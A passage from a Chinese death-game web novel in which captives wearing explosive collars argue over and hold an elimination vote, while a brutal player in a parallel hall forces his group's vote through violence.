【记住,系统可不是吃素的,它不会轻易让你们的狗环断线。毕竟,只要将雀徽放入本终端机内,就能为狗环充值300分钟的连线时间。当然,如果倒计时结束前你还没获得雀徽,那就准备好迎接那最后的绽放吧!】
演示视频花里胡哨,各种奇怪的表情包轮番上阵,最后画面上终于出现和这台“梳妆柜”一样的设备,也就是旁白所称的“终端机”。
紧接着一只手按下了花鸟徽章图案的按钮,终端机台面内侧便打开一个口子,像是ATM的取币口一样。
画面中的手,将一块和沈墨棠胸口项链坠一样的“雀徽”放入终端机内,口子随即合上。
片刻,演示狗环上的倒计时,便从“00:02:16”变成“05:02:15”。
各种过气表情包又继续——
【因为,“狗环”不仅仅是一个装备,它更是你们在这场生死游戏中的最终审判者!所以,各位玩家,让我们一起迎接这场前所未有的挑战吧!在这片充满未知与危险的战场上,只有最勇敢、最智慧的人才能笑到最后!】
【亲爱的新人们!你们,准备好了吗?】
“噔噔噔、噔噔噔、噔噔噔!”
随着激情四射的电子音乐淡出,演示视频也迎来结束。“终端机”的显示屏跳出“温馨提示:本房间将在进行雀徽充值后开启房门”的字样三秒后,也回到最初镜子的状态。
房间内再次安静下来,只剩下脖子上“狗环”发出的倒计时提示音。
“嘀嘀”、“嘀嘀”、“嘀嘀”……
沈墨棠再看镜子里,狗环倒计时仍在继续:
00:27:02
00:27:01
00:27:00
00:26:59
开房门?
沈墨棠摘下胸口的项链,拿起雀徽,认真端详了一阵,上面的花鸟图案很像麻将里“梅兰竹菊、春夏秋冬”之类的花牌。
按照视频介绍,想要防止狗环在半个小时内爆炸,就要进行雀徽充值,同时这也是开启房门,能够走出这个房间的办法。
她想了想,根据刚刚视频教程里的步骤,按下了终端机上的按钮,打开充值口,放入雀徽。
终端机发出提示:
【叮!您已成功进行充值,时长:300分钟。祝您在永夜城生活顺利,常有所得。】
此时,门外似乎有声音。
“嗒!”
没等沈墨棠多想,房门忽然朝外弹开!
她条件反射谨慎后退两步,观察门外的环境:
迎面是灰白色的墙壁装潢,空气中一股食物的香气扑鼻而来。
“咕咕”。
沈墨棠的肚子也响了起来。
23. 新人战2
这是什么地方?
沈墨棠观察了门框,门扉,门锁,随后背靠着房门,小心翼翼探出半个身子,看看外面有什么。
门一推开,是一个半圆形的大厅,大厅的扇面墙壁有八个房门。
沈墨棠所在的,正是其中一个房门。
另外,还有两道熟悉的身影出现在视野中。
听到沈墨棠的开门声,两道身影纷纷朝她的方向回头——是“跑步了解一下”游戏中存活5号和30号。
两人身上也都穿着白色的病号服,脖子上戴着狗环,装束跟自己的相差无几。
他们看上去也像是刚走出房门,朝沈墨棠点了点头后,又继续在探查整个大厅空间。
沈墨棠观察四周,连自己算在内,总共八个房间门口,全都有亮着的电子屏嵌入墙壁,显示着对应的玩家姓名:
沈墨棠、米米、曹彦旭、宋白河、罗钧钧、欧阳浩宇、万梦、郑云霞。
根据房间名,其中曹彦旭的房门跟郑云霞的房门已经打开,应该就是30号跟5号的房间。
曹彦旭探查一圈后找到“米米”的房间,他附耳听了一下房门里的声音,很快,就敲着房门喊道:“米米,米米,听得到吗?”
米米应该就是上一场的31号。
“嗒”、“嗒”、“嗒”……
曹彦旭的声音,又引得几道房门打开。
见到房门里探出来的面孔后,沈墨棠确定在场八个人就是上一场游戏中存活的玩家。
此情此景,每个人脸上的表情都很复杂,内心五味杂陈。
似乎才刚刚结束上一轮游戏,又是跟这些人一起进行下一场新游戏吗?
那上一场的胜利又有什么意义?单纯嫌他们40个人人数太多?
既然如此,主持人还不出来吗?
还是说,这个游戏需要玩家自行探索?
大家面面相觑,猜测着各种可能。
“哇!”万梦从房间里走出来,很快发出一声感叹。
万梦是上一场游戏的“19号”。
她率先来到扇形大厅正中,一张巨大的圆桌旁。
圆桌上摆放了满满的三层食物,宛若一个用美食堆成的金字塔,散发迷人的食物香气!
最外层是烤肉、烤饼、炸串、炒菜等烹饪好的热食,还有各式各样的酒水饮料;第二层有披萨、面包、烤饼、馍、馕等碳水主食;最中间也是最上面的第三层,有各种甜品、饼干、蔬果等等。
每一样食物都赏心悦目,香气诱人。
似乎是生物天然的本能作祟,过了一会,另一个人也走到圆桌旁,伸手拿起一个面包,问了句:“能吃吗?”
是上一场游戏的“25号”,沈墨棠看了一眼他的房间,房间上写着“宋白河”。
沈墨棠循声打量一番,将每个人与其姓名对应上。
21号,罗钧钧。
20号,欧阳浩宇。
“喂喂喂,大家伙,有人找出这个游戏的规则了吗?”郑云霞声音高调,“这些东西看上去可真不错啊!感觉好久没吃过东西了!你们有没有人想试试?”
没人搭她话。
摆明想让人帮她试毒。
一开始跟她出来的曹彦旭还贴在米米的房门口,他正一步步教米米怎么使用狗环打开房门。
欧阳浩宇、罗钧钧也从房间里走出来,罗钧钧指着脖子上的狗环,两人似乎在交流关于狗环的问题。
经历过前面三场“游戏”,大家都谨慎小心,没有轻举妄动。
毕竟各自的脖子上,都戴着名为“狗环”的危险装置。
可这个空间就这么大,除了八个房间,就只有这个占地半圆形的大厅,以及大厅中央的诱人美食。
没有“主持人”,没有“游戏规则”。
仿佛是一个特别的宴会现场。
是为了庆祝八人顺利活下来吗?还是有什么其他的含义?
郑云霞见没人搭理她,便穿过大厅,朝沈墨棠走来,秉着一副友好的语气:“你好呀。”
“嗯,你好!”沈墨棠敷衍。
“你觉得咱们现在什么情况?”郑云霞指了指她自己脖子上的狗环,看来是非搭上这个讪不可。
“嗯……不知道。”沈墨棠继续敷衍。
郑云霞讨了个没趣,又想找些别的话题。
沈墨棠干脆抬手指了下自己的太阳穴:“我现在脑子懵的。”
“哦哦哦!”郑云霞连忙笑着表示:“我也是呀,脑壳子里面乱乱的……不知道……谁也不愿意被抓来当玩具呀……”
“玩具?”
“我们呀。像不像别人的玩具?不然谁想出这么多变态东西?”
“嗯。”
“嗯……这些东西应该可以吃吧?”似乎是见沈墨棠不太愿意交流,郑云霞只能转移对象,她走向万梦:“说不定主办方是怕饿死我们呢?”
“不会饿死的。”米米的声音从房间里穿出来。
好不容易有人搭腔,郑云霞又踱步到米米房间门口,问到:“怎么说?”
“我们已经被抓来至少一个月了,这期间,我想大家应该都没有任何关于进食的记忆吧?”米米的声音柔柔软软,不大不小地落在每个人头上。
郑云霞一怔,又问:“你怎么知道至少有一个月?我……只有在游戏的时候才会醒来……”
“我也是。”罗钧钧的声音:“难道你跟我们不一样?”
沈墨棠的目光跟其他六人一起看向米米。
米米还在房间里,离大厅还差一大步,她深吸了一口气:“我的月经周期是34天。第一个游戏时我刚结束,现在又来了。如果没有特殊原因,我想我们应该已经被抓走一个月以上。”
原来如此。
她们已经一整个月没有吃过东西了吗?难怪这么饿……可是不用吃东西的话,又何必准备这么一大堆食物呢?
主办方是在食物里下毒了吗?
万梦将目光投向桌上的一堆食物,发自辩驳:“如果不用进食的话……我觉着,主办方应该不会这么下作吧……要杀咱们的话,直接用这个‘狗环’把咱们炸死就行了,没必要花心思在食物下毒吧……”
“呃,说得倒也是!”一头白毛的欧阳浩宇笑了起来,他转过身,随手拿起桌上的香蕉,扒开皮吃起来。
万梦两眼发光,等了一小会儿,没见欧阳浩宇有不良反应,立刻大快朵颐起来。
其他人也慢慢跟上。
沈墨棠拿着食物在一旁,小心进食,保持缄默。
空腹的感觉确实不舒服。
保不齐待会主办方会搞什么体力活动,估计现在就是让玩家们补充能量的时候。
趁现在,吃饱喝足,调整好状态。
“哇!这个好吃!”万梦咬下一块梨糕:“这放外面估计能卖爆!”
万梦的松弛感染了其他人,趁着这个机会,大家围着餐桌相互交流起来。
仿佛之前的三场血腥游戏都是做梦。
不,现在这个场景,从某种意义上来说更像是梦。
沈墨棠咀嚼着披萨,感受食物进入胃部的饱腹感,清晰真实。
美食往往能拉近人与人之间的距离。
沈墨棠刚想伸手拿瓶喝的,眼前就出现一瓶汽水。
抬眼一看,是宋白河递过来的。
他细长的手指搭在汽水瓶上,肩部略微平坦,身形高大,站在任何人面前都能稳稳挡住别人的视线。
体力游戏里的绝对优势。
沈墨棠顺手接过汽水,打开喝了一口,接着又去咬披萨:“如果你是来谢我上一场救了你,那大可不必。你离我太远,我不能确定你是不是在演,我只能确定我所能确定的,仅此而已。”
宋白河没想到自己被看了透,只能尴尬地“哦哦”两声,最后才憋出一句:“那也应该
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说谢谢……实话说,我当时确实快到极限了……”
“是不是你的极限你心里清楚就行。”沈墨棠打断他:“接下来应该还有体力游戏,你确定就这么把你的底限透露给我了么?”
沈墨棠咀嚼着食物,声音含糊:“你敢说,我都不一定敢信。你说对吧?”
宋白河一愣,伸手又递了一瓶汽水过去。
人对食物的纯粹需求并不多,很快大家就吃饱喝足。
郑云霞端着一杯果汁,指着扇形大厅的直面墙,也就是八个房间门对着的方向。
她问道:“所以……这里是东面?东方?还是什么其他意思?”
墙上有一个大大的“东”字,青绿色的,像是某种琥珀或者玉石般的浮雕,老旧而气派。
罗钧钧靠在她自己房间的门口,打量四周:“这地儿没窗户……有餐桌却没椅子,房里的床铺也是固定的……还有,都大半天了,那个那个什么来着……红蟹?……都没人说规则,不晓得接下来是要我们做什么?”
“哈哈,应该是和我们脖子上的炸弹有关……”郑云霞眼神扫过大家,最后停在曹彦旭身上:“对吧,曹老师?”
曹彦旭看都不看郑云霞,但明显感觉他似乎有所隐瞒:“无法确定……总之大家还是先四下找找,有没有哪里能离开这里吧。”
欧阳浩宇手里把玩着一颗橙子,仰头打量大厅的天花板,查看那些凹凸的吊顶装潢:“呃,离开应该是不可能,看上去是密闭的,没看见有通风口。”
他有196公分的身高,身高体格都在宋白河之上,是八人之最。
参照他的身体目测,大厅和房间的天花板离地大概有5-6米,身处其中丝毫不会有压抑的感觉。
“密闭?”罗钧钧深吸一口气,奇道:“那……氧气到现在没耗光?”
其他人也感受了呼吸,并不吃力。
“应该是有哪个地方跟外面是通的,”罗钧钧拍拍欧阳浩宇的后腰:“你个近视眼,哪看得清楚哦?”
“呃,罗姐你不也近视?”
“我还行,度数没你高。”罗钧钧回道:“之后有机会,得想个办法给你弄副眼镜。”
“谢谢罗姐!”
罗钧钧的目光投向其他人,“你们谁眼神好点,看看有没有通风口?说不定能找到点机会……”
郑云霞眼珠子一转,赶紧附和罗钧钧:“也不一定是在大厅,房间里是不是也可能会有?藏在床底或者什么地方……诶,万梦,你是不是睡着了呀?”
说着,她走到万梦的房门口。
“真能睡着?”郑云霞走进万梦房间。
里面传出万梦的回应:“没睡,躺一会,外面没一个坐的地方,我吃多了站着累……你们继续聊,我听着呢。”
欧阳浩宇又在大厅找了一圈,最后回到自己房门口,敲了敲墙上的显示屏。
“咚咚咚”。
他眉头一皱,发出疑问:“呃,这屏幕好厚,一般见不到这么厚的屏幕……是特制的吧?”
“怎么,你觉得屏幕有问题?”罗钧钧也凑到他身旁。
“呲……呲呲……呲……”
大厅上方忽然响起电流声,也不知道具体从哪里发出的,听着像是某种通讯被打开的样子。
所有人瞬间警觉起来!
罗钧钧冷不丁被吓一跳,声音发颤:“谁?什么声音?”
天花板落下电子合成的声音:“喂?喂喂?”
是红蟹!
“喂?1,2,3……check……咳咳,各位玩家们好!为各位准备的美食还满意吗?哈哈哈!放心啦,这可不是断头餐哦……唔……也可能是……哈哈!”
“先恭喜各位!你们已经通过新手考核!成功进入永夜城了!”
“啪啪啪啪啪……”
广播里传出夸张的掌声。
所有人脸色一沉。
“永夜城”?
24. 新人战3
“接下来,你们将会开启入城后的首战,也就是万众期待的新人战!”
红蟹语气激昂,仿佛在诉说一件非常值得大肆宣扬的事情。
八名玩家神色各异,但没有一个觉得开心,也没人在期待。
红蟹语气一转:
“可惜……每一方能参加新人战的人数,只有七个人。”
“所以在新人战开始前,还得辛苦各位,淘汰掉你们中最没用的一个成员哦!”
淘汰一个成员?
沈墨棠微微眯起眼睛。
其他人或沉静,或担忧,或困惑,也都对红蟹的话感到惊诧。
“滴滴……”
没等大家反应过来,八个房间门口的电子显示屏上,弹出了像是掌纹认证的界面。
“没错,看到了吧!各位房门口的电子屏已经被锁……只有各位对应的掌纹能开启。”
听闻这话,欧阳浩宇忍不住伸出手想要尝试,罗钧钧眼疾手快拍向他的肩膀,欧阳浩宇这才作罢。
广播中,红蟹已经开始在说规则:
“接下来你们有30分钟的时间,开启自己的电子屏,并投票选择你想要淘汰的对象……小心哦!系统只允许单选,且操作完成后将彻底锁死,不可更改!”
“30分钟后,得票最多的玩家,将直接淘汰!”
规则说到这,八个人也都不约而同地靠向自己的房门口,让自己离电子屏更近一些。
经历过之前三场游戏,能存活至今的人都清楚,游戏规则的重要性。
只有30分钟……
沈墨棠眼神观察了每个人,大家脖子上的狗环剩余时间都还有5个小时。
红蟹的声音并没有停止:
“哈哈哈!各位是不是一时之间没办法确定谁才是最没用的成员呢?不要担心,为了帮助各位成功淘汰一名最没用的成员,这里还有3条贴心的补充规则哦:”
“1,若有玩家在30分钟内不进行选择,则视为其投票给自己!”
“2,若30分钟后,有多名玩家获得最高平票,则会淘汰最后达到最高票的玩家!”
“3,除上述规则之外,没有其他限制。”
“哒哒!玩家请注意,计时开始!”
“嘀嗒、嘀嗒、嘀嗒、嘀嗒……”
广播安静下来,听着像是红蟹关掉了话筒,只剩下时钟“滴答滴答”的声音。
钟声宛若死神的脚步,徘徊在不大的空间里,斟酌着挑选今晚要下手的对象。
八个人的神经再度绷紧,面面相觑,沉默缄口,互相警惕着。
最没用的人?
先淘汰掉一个,剩余七个人再去参加所谓的“新人战”?
沈墨棠思考着主持人的话。
如果只需要七个人,为什么在上一场游戏中不直接只让七个人获胜?
“每一方能参加新人战的人数,只有七个人”。
“每一方”是什么意思?
难道除了这里的八名玩家外,还有其他玩家?
“哎!”
沈墨棠循声抬头,看到郑云霞已经拉着万梦,与欧阳浩宇和罗钧钧挨到一起。
有人已经开始行动了!
欧阳浩宇和罗钧钧本来就认识,万梦刚刚在之前的游戏中与他们建立了一定的联系。
所以三人大概率会绑票。
在这场人数投票里,郑云霞非常聪明地投靠了有优势的团体。
这样一来,她们就建立一个四人“票仓”,占了半数!
接下来的游戏几乎都能被掌握。
“曹老师!”四个人眼神默契,低头商议几句后,郑云霞立刻小跑到曹彦旭身边。
途中刻意略过沈墨棠和宋白河。
沈墨棠刚吃饱,过多的碳水让她有点犯困,她往墙上一靠,看着郑云霞来回忙碌。
只有四个人的票仓是不够的。
规则“平票的话,会淘汰后一个达到最高票的玩家”,就是说若有两个人同样获得四票,则淘汰后获得四票的玩家。
所以,想要保险地淘汰掉一个人,需要半数以上的票。
欧阳浩宇、罗钧钧、万梦和郑云霞已经结成阵营,剩下的四个人里,曹彦旭和米米从上一场游戏就已经绑定,剩下沈墨棠和宋白河,算是八人中的两匹独狼。
虽然她们只需要再多一个人,但曹彦旭和米米的组合,显然会更保险一些。
“曹老师,我们现在已经有四个人了,您看……”郑云霞压低声音,对曹彦旭说:“您跟米米,你们两个也过来,咱们六个人就肯定不会淘汰了呀!”
声音虽然不大,但大厅里仍然还是听得很清楚!
“这就开始了?”宋白河皱眉。
沈墨棠听到他的声音,差点笑出来。
游戏不是刚开始,而是已经快要结束了。
郑云霞已经有一个四人团队,结构肯定比自己跟宋白河两个散兵游勇来得稳固,如果曹彦旭带着米米接受。了郑云霞的邀请,淘汰人选只剩下两个人,自己跟宋白河!
主持人宣布完结果不到半分钟,就已经让郑云霞凑了个“6:2”的票型了!?
接下来,郑云霞会选择她还是宋白河,来当那个“最没用的人”呢?
其他人看向沈墨棠和宋白河的目光也变得异样起来。
带有些许敌意、怜悯、无奈、歉意。
就像是一群逃跑的羔羊,只要不是自己被捕猎,就可以安心接受领头羊的安排。
“扑通、扑通、扑通。”
沈墨棠微微侧身,不想让人看到自己左手食指不受控制的敲打。
这些眼神,这些目光,虽然身处同一个大厅,可圆桌上刚刚还美味无比的食物竟变成一座隔绝“生”与“死”的大山!
六个人在那头,沈墨棠和宋白河在这头。
“哒哒、哒哒、哒哒……”
手指在门框上敲打得起劲,仿佛要脱离身体!
不对,冷静,慢下来,慢下来……
自己应该做点什么!
赶紧走过去加入六人组?自己只要比宋白河更早投诚,那票数不就能集中在宋白河身上?
该走过去吗?六人组会接受自己的投诚吗?
还没等沈墨棠做出决定,刚刚对曹彦旭抛完橄榄枝的郑云霞,已经转身朝着宋白河走去。
规则中所说的虽然是投出“最没用的人”,可郑云霞的想法显然更深一些,实际上,她们完全可以利用这个规则,淘汰掉八个人中最具威胁的那个人。
原本她跟欧阳浩宇的想法是淘汰掉曹彦旭,米米只是个学生,相对好控制,之后要是有个万一,放弃米米也比较容易。可罗钧钧觉得淘汰曹彦旭,很有可能适得其反,反而将二人组推向沈墨棠和宋白河的阵营,到时候可能会形成“4:4”的僵局票型,只能靠补充规则冒险。
至于宋白河跟沈墨棠,刚刚经历完一场体力游戏,宋白河的极限大家也都看到了,心里多少有个底,相对来说,拉拢宋白河比拉拢沈墨棠来得安全些。
郑云霞看着跟自己儿子差不多大的宋白河,心中又更确定一些。
她们已经决定好人选了!
听着广播中“嘀嗒嘀嗒”的声响,沈墨棠已经明白局势,可心率脉搏飙升的身体让她呼吸都困难!
冷静、冷静。
这个环节有30分钟的时间,足够好好思考对策……
“早点投吧!没必要再浪费时间了。”郑云霞的声音从中飘来。
!!!
沈墨棠仿佛心口被捶了一下!
规则里说了“操作完成后将彻底锁死,不可更改”,也就是说一旦他们投票完成,自己再做任何事都没有意义了!
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没时间了,不能再这么沉默着,坐以待毙!
“等一下。”
“啪”地一声,沈墨棠用右手拍向自己的左手手掌,试图让左手食指停下来。
“你们都听懂规则了没有?”
其他人目光集中到沈墨棠身上,郑云霞却兀自想用掌纹解锁自己的屏幕,嘴上说着:“别等了!我先投啦!”
“投了就不能改了。”宋白河伸手挡住郑云霞。
“啪!”
沈墨棠又拍了一下手,乱跳的手指终于因为疼痛而停下来,她面无表情,齐刘海下的眼睛闪着光:“如果没猜错,接下来可能是团队战。你们真的想好要投谁了吗?”
这话一出,曹彦旭和米米两人隐隐交换眼神。
“呃……团队战?”欧阳浩宇倚靠在门框上:“原来如此,所以才要我们淘汰最没用的人。”
“最没用的人……?”
宋白河站得笔直:“可是,怎么才算最没用……”
这问题也是其他人想知道的。
什么是“没用”?体力?智力?情商?艺术天赋?
“谁知道呢,我们不就是随便选个人淘汰吗?”万梦停下来,也对规则表示困惑:“不过我总觉得是不是太草率了?如果只是随便选个人,就这样也要花半个小时?”
“梦梦,这半个小时就是让我们相互拉票用的呀。”
郑云霞提醒,跟着再次加入讨论:“团队战,不就是更注重团队的沟通能力吗?票都拉不到的人,在团队战里,可不就是最没用的么?”
沈墨棠眸光一按,郑云霞这么一曲解,大概率自己还是会成为被“票出”的对象!
“曹老师,你知道的信息能共享吗?”
沈墨棠转身,将众人注意力引向曹彦旭和米米。曹彦旭刚刚在吃饭时间跟米米单独聊了非常久,沈墨棠只隐约听到一些诸如“这一关想起什么什么了吗?”之类的只言片语,她猜测曹彦旭手里应该会有一些大家不知道的信息,趁这个机会,她也想试试看能不能就让曹彦旭自己把这些信息共享出来。
已经为自己争取到了拉票时间,她能感觉到自己脑子逐渐冷静,心跳、脉搏也渐渐放缓。
“你的手……”米米离沈墨棠不远,刚开口,就看见沈墨棠将手藏到身后。
“曹老师?”
曹彦旭还没回答,罗钧钧的声音突然从角落里响起:“下一场是不是团队战不好说,这一切都是你的猜测而已。”
“主持人说了,”这个问题沈墨棠早有准备,她已经不是第一次从红蟹的话里找到漏洞了:“‘每一方’能参加新人战的人数只有七个人……所以要参加‘新人战’的应该不只有我们,还有其他人。”
还有其他人?
郑云霞没有插嘴,只是双眼不停观察大家的神态。
“是不是这个?”万梦最先反应过来,她指向大厅墙面上,那个大大的“东”字。
“呃……这个是……?”
“东方啊!”万梦点头,“不是说‘每一方’吗?是不是有东南西北方?”
沈墨棠不动声色地看了眼曹彦旭,曹彦旭没动,只是把嘴唇抿得更紧了些。
万梦继续顺着这个思路,恍然大悟般:“所以我们是要去和其他人……战?”
“呃……这样就说得通了……”欧阳浩宇揉着下巴:“主持人说了,能参加新人战的只有7人……如果我们要相互争斗,那么规则里应该是直接说明淘汰一个‘最具威胁’的人,而不是‘最没用’的人。”
罗钧钧仍然保持怀疑:“别自己乱猜,谁也没证据证明接下来要玩什么游戏。”
“对呀。”郑云霞附和。
一句话又让在场的人犹豫不决——现在,该投谁呢?
要是不按团队战的标准投,最终结果还是……
沈墨棠。
25. 新人战4
“我们要投的,是各自心中觉得最不可信的那个人。”
沈墨棠正想再为自己争取些时间,曹彦旭突然开口。
“哦?最不可信的人?”欧阳浩宇对这个说法很感兴趣:“怎么说?”
曹彦旭一下成为人群中的焦点:“简单来说,不管是不是团队战,只要是有合作的机会,大家都应该更倾向于找自己可以信任的人吧?”
郑云霞不禁一怔,刚张嘴要反驳什么,曹彦旭看都没看她,接着说道:“我相信大家心里都有自己的判断。”
“但越是弱小的人就越会想要抱团,试图倚赖别人生存下来……接下来如果真的是团队游戏,大家也要考虑是不是有人会拖后腿。”沈墨棠立刻补刀,尽量不把票集中在自己身上。
“我觉得……”郑云霞又想开口。
曹彦旭又打断她:“大家心里应该都有判断。”
罗钧钧抬头问欧阳浩宇:“现在怎么投票?”
“呃……”
欧阳浩宇为难地咧着嘴,点头说道:“呃,看来是要好好想想。”
万梦将头凑过来:“对,有一个小时呢,我们都不要太早做决定,先商量一下。”
三角形是最稳定的阵型,只要她们三个票是一致的,那她们三个在这场游戏里就有绝对的优势。
“不如这样,”郑云霞所站的位置很微妙,刚好在所有人中间:“时间还有,我们各自分开聊聊,好好想想曹老师的话,最后再一起投票,这样可以吧?”
“这个可以!”万梦同意,随后跟着罗钧钧和欧阳浩宇往房间走。
郑云霞朝三人的方向点头:“每个人都好好聊聊。我们都还没完全想好呢,不着急!”
她刚刚想趁大家还没反应过来,先建立起“7:1”的票型,现在票型被打散,其他人应该也发现了,现场的“独狼”不是两个人,而是三个人——沈墨棠、宋白河和她自己。
现在时间还剩不少,沈墨棠和宋白河只要不傻,肯定会抓紧时间搞小动作,最终投票结果如何,又变成了未知数。
但郑云霞自己也有自信,既然她刚刚差点能让“7:1”的票型成功,那再来一次也没什么太大难度!
……
与此同时。
漆黑的,墨玉石质雕成的的“北”字,在另一个相同构造的扇形大厅中。
这里也有美食,八个房间,八面显示屏,八名戴着狗环的各怀心思的玩家。
当其他人都还在相互“拉踩”,争论着要如何投票时。
一个留着锅盖头的强壮男人果断采取了另一种行动——
“砰!”
他一击肘击,彻底干碎了一个还未解锁的显示屏!
巨大的声响也引来其他七人的惊愕。
“别吵吵了,都投他。”锅盖头男人神色冷漠,指向一个戴眼镜的瘦弱小伙。
小伙正是被杂碎的显示屏的主人。
旁边另一个女人瞬间反应过来,苍白的脸上挂着怪异的神色,看向眼镜小伙:“你……啊,你,啊,算是投了自己票!”
根据补充规则1:若有玩家在30分钟内不进行选择,则视为其投票给自己。
眼镜小伙的显示屏已经彻底损坏,“呲呲”爆出电火花,完全没办法进行任何操作了!
锅盖头男人扭了扭脖子,伸出手掌,兀自解锁自己的显示屏:
【机主:司徒雅。】
【您选择淘汰的人是:】
叫做司徒雅的锅盖头男人果断按下“丁耀霖”的名字,正是眼镜小伙。
【投票完成,系统已锁死。】
“嘟——嘟。”
显示屏跳转,变成固定不变的蓝色画面,显示着“投票完成,系统已锁死”字样。
“快点投。”司徒雅站在自己门口,瞟了其他人一眼。
眼神虽然暗淡无光,却散发出莫名的威胁和压迫感!
“不要投我!不要投我!不要投我!”丁耀霖这才反应过来似的,六神无主朝周围人大叫。
他用力推了推眼镜,按在鼻梁上,不停轮流去拉每一个人的手:“不要啊,不要投我!求求你们!不要投我!”
“啊!不好意思,我投了……”脸色苍白的女人捂着嘴。
她那台署名“李漫漫”的显示屏上,也变成了“投票完成,系统已锁死”的蓝屏。
在丁耀霖没注意到的时候,又有一人投票完成!
“不要啊!等一下!”丁耀霖声音颤抖,无助而惶恐,他看了周围一圈,最后才似乎鼓起勇气般,一步步走向引发这一切罪魁祸首——司徒雅。
其余人或垂首,或侧目,或担忧,或怯懦,看着接下来会发生的一幕。
“为什么……为什么是我……不要投我啊……不要!”丁耀霖往前一步,像只亡命的小动物般,猛扑到司徒雅身上!
咔嚓——!
司徒雅眼睛都不抬一下,一脚将丁耀霖踹飞!眼镜直接飞到墙角!大厅中能清晰听见肋骨断裂的声音!
“没用,就要认!”司徒雅往地上啐了一口。
只这一脚,就让倒地的丁耀霖彻底停止动弹。
“行了,死人最没用了,快点投吧。”司徒雅说着伸了个懒腰,冷漠的目光盯着大厅中的每一个人,淡淡威胁道:“不投他,我可是会打人的!”
反正轮不到自己淘汰,其他人也都纷纷在司徒雅的胁迫下投了“丁耀霖”一票。
“啊,这游戏是这么玩的啊!”李漫漫瞪着死鱼眼,苍白的脸上却挂起莫名的笑意。
“拳头”就是司徒雅的玩法!
真是让人兴奋啊!
补充规则3:除上述规则之外,没有其他限制。
为什么要有这一条?
也就是说,这里允许使用暴力!
不论是破坏财物,还是打架斗殴,甚至杀人放火……这里除了“游戏规则”外,百无禁忌!
永夜城,将会是某些人的天堂,以及更多人的地狱!
……
“你想投谁?”
米米小声试探沈墨棠。
曹彦旭不在,两人单独呆在一个房间里。
此刻“东”大厅的八名玩家,正在相互私下聊天,交换彼此的看法。
沈墨棠没有明说:“曹老师说了,选最不值得相信的人。”
“曹老师……”米米停顿了一会,有些欲言又止:“曹老师……说的,也不一定是……对的……”
嗯?
米米的话有点意思,沈墨棠好奇:“我猜,大家都默认你们会绑票。”
“我们……不一定。”米米连忙摆手:“说不好。”
沈墨棠一
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笑:“你们怎么做不重要,重要是大家都会这么认为,就像……另外三个。”
米米反应了一下,知道沈墨棠指的是欧阳浩宇、罗钧钧和万梦。
沈墨棠继续:“至于郑云霞……”
米米微微抬头,顺着思路道:“她不想被淘汰。所以哪边人多她就跟哪边……”
沈墨棠点头,米米的反应比她想象中的快一些:
“没错,假设在这场游戏中,需要一次又一次进行投票淘汰。那么一旦人数失衡,少数那方就只能等死。”
米米想了想:“所以……你想要淘汰谁?我想你可以跟我说清楚。”
“你会跟吗?”
沈墨棠确认。
米米回视着她,沉默很久。
“郑云霞,我会投她。”沈墨棠回答道。
场上现在最危险的就是沈墨棠、宋白河跟郑云霞,刚刚郑云霞“6:2”的票型一出,她和宋白河处境相同,两人很快结成一个阵营,这样一来,场上的局势就发生翻天覆地的变化。
“独狼”只剩下一个郑云霞。
她跟宋白河确定阵营后,两人就兵分两路,宋白河去三人组游说,她来找二人组。
虽然米米跟沈墨棠说与曹彦旭并不绑定,但根据沈墨棠的观察,如果米米确定跟自己的票,那曹彦旭最后有很大可能会跟米米的票。
而且,只要宋白河能把她们两人已经联盟的信息放出去,她相信三人组那边也会做出最好的选择。
“你呢?”沈墨棠问。
“我……我得问一下曹老师。”
“嗯。”沈墨棠没有催她。只是心里觉得好笑,刚刚还在说不一定跟曹彦旭绑票,现在要做决定又把曹彦旭抬出来。
也不知道曹老师知不知道自己的这个学生,其实也没看上去那么缺心眼。
嗒嗒——!
房门忽然被轻轻敲了两声,也不知道是谁在门外。
沈墨棠和米米相视一眼:“请进?”
或许是有人想要进房间加入私聊。
“门没关。”米米声音柔柔的。
房门只是合上,并没有上锁,从外面也能打开。
米米喊完后,房门一动不动,门外也无声音。
于是沈墨棠起身,打开门。
门外是宋白河,应该就是他敲的门。此时他回头,眼神异样。
像是无奈,像是可怜,像是惋惜。
“怎么了?”
沈墨棠有种不祥的预感。
果然,另一边聚集的五人正在散开,其中郑云霞还朝她们的方向看过来,如释重负道:“结束了!”
结束?
沈墨棠站在门口。
怎么就结束了?
罗钧钧、欧阳浩宇、万梦在瞥见沈墨棠后,便不再朝这边投来目光。
他们略显刻意地将话题和关注点重新放到食物、兴趣等。
仿佛已经不在乎这场游戏结果如何。
“他们……投了谁?”
沈墨棠视线扫过一个个显示着【投票完成,系统已锁死】的蓝色屏幕,随后看向宋白河,突然意识到不太对劲,心跳和脉搏扑通扑通提速!
宋白河站得笔直,目光黯淡,轻声说话仿佛在宣判:
“他们五个已经投完了。”
“都投你。”
26. 彩虹节拍-红1
30分钟的投票时间结束。
“check,check……喂?咳咳,我回来了亲爱的玩家们!你们还好吗!”红蟹跳脱的声调透露着兴奋,以及难以捉摸的细微情绪。
“投票结束!现在将公布淘汰结果!”
嘀——
随着一声提示音,八个房门旁的八个显示屏,同时跳出画面。
上面是八名玩家的头像,底下显示着对应的票数:
【郑云霞,3票】
【万梦,0票】
【欧阳浩宇,0票】
【罗钧钧,0票】
【宋白河,0票】
【曹彦旭,0票】
【米米,0票】
【沈墨棠,5票】
【——淘汰玩家:沈墨棠】
“……”
如坠冰窟。
沈墨棠静静靠在门边,脸色凝重!
放眼望去,厅内以郑云霞为首的五个玩家,表情各异,都竖起耳朵听着广播内的声音。
“相信各位都做出了最明智的选择,呃……哈!那就请各位坚信自己的选择吧!”红蟹话锋一转:“呐,呐,温馨提示,请小心大厅内的圆桌,现在不是吃吃喝喝的时候咯!”
话音刚落,只听见“嗡嗡嗡”的闷响,仿佛建筑内部有什么东西在移动。
万梦往后退了一步,惊呼一声:“桌子……”
大厅中,那面盛满食物的圆桌,正在缓缓上升!
桌上的食物器皿“丁零当啷”掉了满地,从令人垂涎的美食变成要被清扫的厨余垃圾,仅仅只需要一瞬间。
确切来说,不仅仅是圆桌在上升,而是圆桌连接的圆形地面呈柱状升起,仿佛是大厅中央慢慢“长出”一根几人合抱粗的金属柱子。
“呲呲呲……”
“什么声音?”
万梦仔细一看,发现柱子上有几个气孔,正在朝外喷出气体。
“催眠瓦斯!”
玩家们连忙捂住口鼻,正想着回房间内躲避,回身却发现房间里也同样泄出气体。
很快,“扑通”几声,所有人都晕倒在地。
